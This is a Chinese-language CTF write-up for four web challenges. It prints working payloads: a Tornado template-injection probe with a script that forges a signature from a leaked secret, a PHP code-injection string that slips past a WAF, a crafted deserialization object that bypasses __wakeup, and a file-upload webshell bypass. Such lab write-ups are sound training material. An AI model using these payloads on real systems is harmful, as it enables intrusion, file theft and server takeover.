第13题开始了,以前的做过了
[护网杯 2018]easy_tornado
这是一道模板注入题,我看了没思路,看了wp才知道
我还没见过这种模板…
模板注入第一步,让他报错
通过{{handler.settings}},可以获取到cookie
我觉得有点神奇,模板注入这块我不是很懂,可以参考这个
博客
然后根据提示的公式,计算md5
import hashlib
hash = hashlib.md5()
filename='/fllllllllllllag'
cookie_secret="b978746f-d335-49da-995b-6fdd7c101423"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())
flag就出来了,害,有学到个模板,虽然原理有点一知半解
[RoarCTF 2019]Easy Calc
源码给了个路径,打开是个waf
发现这是个命令执行题
首先变量num不允许传递字母,我们可以加个空格,字符就变成了 num,在php解析的时候会自动去掉空格。
我们可以这么写?%20num=1;var_dump(scandir("/"))
问题是/也被过滤,我们用chr(“47”)绕过
为啥要读函数这么写呢,因为在 phpinfo 中可以发现 system、exec 这一类命令执行的函数被禁用了
发现flag 读取他payload:
?num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
[极客大挑战 2019]PHP
说是备份,试了备份后缀,扫扫扫
www.zip
下载下来
发现是个反序列化问题
源码是
只需要user=admin,pass=100
<?php
class Name
{
private $username = 'admin';
private $password = '100';
}
$a = new Name();
echo serialize($a);
整出来之后要绕过_wakeup
吧对象个数改成比真实个数多就行
然后吧就没了
还有一个最最最关键的问题
就是里面的变量的属性是private
我们要把类名和属性值前面加上%00
payload;
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
[极客大挑战 2019]Upload
一看名字就是文件上传,做完休息了,明天打疫苗了
上传个马
不让我有<?
试试我的绝活
看起来好像成功了,但是下一步不成功
换一个方法,写一个phtlm文件,里面写解析成php的语句,可以绕过<?这个的检测
修改这个Content-Type: image/jpeg
然后用蚁剑连接
我说咋连不上呢,吧https改成http,这浏览器自己换我吐了。。。
flag在根目录,不行了睡觉了